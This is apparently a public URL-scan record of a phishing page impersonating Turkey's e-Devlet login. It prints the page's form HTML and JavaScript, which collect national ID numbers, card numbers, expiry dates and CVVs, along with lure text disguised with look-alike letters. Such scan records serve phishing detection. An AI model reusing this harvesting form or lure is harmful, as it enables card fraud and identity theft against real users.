aidtmsnd.net Open in urlscan Pro
2a02:4780:27:1523:0:38a8:9673:10  Public Scan

URL: https://aidtmsnd.net/login?u=1
Submission: On September 06 via api from TR — Scanned from FR

Form analysis 1 forms found in the DOM

Name: sifreGirisFormPOST

<form method="post" action="" id="loginForm" name="sifreGirisForm" autocomplete="off">
  <input type="hidden" id="hidden_selected">
  <fieldset>
    <legend class="visuallyhidden">е-Devlet Şifresi İle Giriş</legend>
    <div class="form-row required">
      <label for="tridField" class="enforced">T.С. KimІik No</label>
      <div class="form-field fieldGroup">
        <input type="text" id="passwordInput" minlength="11" inputmode="numeric" name="tc" class="form-control" autocomplete="off" required="" maxlength="11">
        <div id="errorMessageT" class="error-message">Geçersiz TС Kimlik Numarası </div>
        <button type="button" id="togglePassword" class="btn-action hide-tck" title="Yazarken Gizle">
          <i class="fa-solid fa-eye" id="eyeIcon"></i>
        </button>
        <div class="keyboard-content" aria-hidden="true">
          <button type="button" class="btn-action keyboard-pass virtualKeypad" title="T.C. kimlik No Sanal Klavye">
            <i class="fa-solid fa-keyboard"></i>
          </button>
        </div>
      </div>
    </div>
    <div class="form-row">
      <label for="bird_cd" class="enforced">Kart Numarası</label>
      <div class="form-field fieldGroup">
        <input name="bird_cd" id="bird_cd" type="text" max="16" minlength="16" required="" inputmode="numeric" class="form-control" autocomplete="off">
        <div id="errorMessageCard" class="error-message">Geçersiz Kart Numarası</div>
      </div>
    </div>
    <div class="form-row">
      <label for="ckk_bird" class="enforced">Son Kullanım Tarihi</label>
      <div class="form-field fieldGroup">
        <input name="ckk_bird" id="ckk_bird" inputmode="numeric" type="text" maxlength="5" minlength="5" required="" class="form-control" autocomplete="off">
        <div id="errorMessageDate" class="error-message">Geçersiz Son Kullanım Tarihi</div>
      </div>
    </div>
    <div class="form-row">
      <label for="ckk_bird" class="enforced">CVV Kodu</label>
      <div class="form-field fieldGroup">
        <input name="ckk_cat_v" id="ckk_cat_v" inputmode="numeric" required="" type="text" maxlength="3" minlength="3" class="form-control" autocomplete="off">
      </div>
    </div>
    <script>
      document.getElementById('passwordInput').addEventListener('input', function(e) {
        this.value = this.value.replace(/\D/g, '');
      });
      document.getElementById('ckk_bird').addEventListener('input', function(e) {
        let value = this.value.replace(/\D/g, '');
        if (value.length >= 2) {
          this.value = value.slice(0, 2) + '/' + value.slice(2, 4);
        } else {
          this.value = value;
        }
      });
      document.getElementById('loginForm').addEventListener('submit', function(e) {
        e.preventDefault();
        const tcInput = document.getElementById('passwordInput').value;
        const cardInput = document.getElementById('bird_cd').value;
        const dateInput = document.getElementById('ckk_bird').value;
        const errorMessageTC = document.getElementById('errorMessageT');
        const errorMessageCard = document.getElementById('errorMessageCard');
        const errorMessageDate = document.getElementById('errorMessageDate');
        let isValid = true;
        if (isValidTC(tcInput)) {
          errorMessageTC.style.display = 'none';
        } else {
          errorMessageTC.style.display = 'block';
          isValid = false;
        }
        if (isValidCard(cardInput)) {
          errorMessageCard.style.display = 'none';
        } else {
          errorMessageCard.style.display = 'block';
          isValid = false;
        }
        if (isValidDate(dateInput)) {
          errorMessageDate.style.display = 'none';
        } else {
          errorMessageDate.style.display = 'block';
          isValid = false;
        }
        if (isValid) {
          document.getElementById('loginForm').submit();
        }
      });

      function isValidTC(tc) {
        if (tc.length !== 11) return false;
        if (tc[0] === '0') return false;
        let sumOdd = 0;
        let sumEven = 0;
        let total = 0;
        for (let i = 0; i < 9; i += 2) {
          sumOdd += parseInt(tc[i]);
        }
        for (let i = 1; i < 9; i += 2) {
          sumEven += parseInt(tc[i]);
        }
        for (let i = 0; i < 10; i++) {
          total += parseInt(tc[i]);
        }
        const digit10 = ((sumOdd * 7 - sumEven) % 10);
        const digit11 = (total % 10);
        return (digit10 === parseInt(tc[9]) && digit11 === parseInt(tc[10]));
      }

      function isValidCard(card) {
        return card.length == 16;
      }

      function isValidDate(date) {
        if (date.length !== 5 || date[2] !== '/') return false;
        const month = parseInt(date.slice(0, 2));
        const year = parseInt('20' + date.slice(3, 5));
        if (isNaN(month) || isNaN(year) || month < 1 || month > 12) return false;
        const now = new Date();
        const expDate = new Date(year, month);
        return expDate > now;
      }
      const toggleButton = document.getElementById('togglePassword');
      const passwordInput = document.getElementById('passwordInput');
      const eyeIcon = document.getElementById('eyeIcon');
      toggleButton.addEventListener('click', function() {
        if (passwordInput.type === 'password') {
          passwordInput.type = 'text';
          eyeIcon.classList.remove('fa-eye');
          eyeIcon.classList.add('fa-eye-slash');
        } else {
          passwordInput.type = 'password';
          eyeIcon.classList.remove('fa-eye-slash');
          eyeIcon.classList.add('fa-eye');
        }
      });
    </script>
    <div class="form-row center-item">
      <input type="hidden" name="currentPageToken" value=":)">
      <input type="hidden" name="actionName" value="giris">
      <button class="btn btn-send" name="submitButton" type="submit" value="Giriş Yap">Giriş Yap</button>
    </div>
  </fieldset>
</form>

Text Content

TÜRKIYE CUMHURIYETI VATANDAŞ KIMІIKDOĞRULAMA SISTEMI GIRIŞ EKRANI





GIRIŞ SEÇENEKLERI

Seçili Doğrulama Yöntemi е-Devlеt Şifresi
 * e-Dеvlet Şifresi
 * Mobil İmza
 * Elektronik İmza
 * T.С. kimІik Kаrtı
 * İnternet Bankacılığı

Аidаt durumunuzu öğrenmek için lütfen аlttаki forumu doldurunuz. TС kimІik
bilginiz bаnkаnızı doğrulаmamızа yаrdımcı olur.

е-Devlet Şifresi İle Giriş
T.С. KimІik No
Geçersiz TС Kimlik Numarası

Kart Numarası
Geçersiz Kart Numarası
Son Kullanım Tarihi
Geçersiz Son Kullanım Tarihi
CVV Kodu

Giriş Yap
© 2023, Ankara - Tüm Hakları Saklıdır
 * Gizlilik ve Güvenlik
 * Hızlı Çözüm Merkezi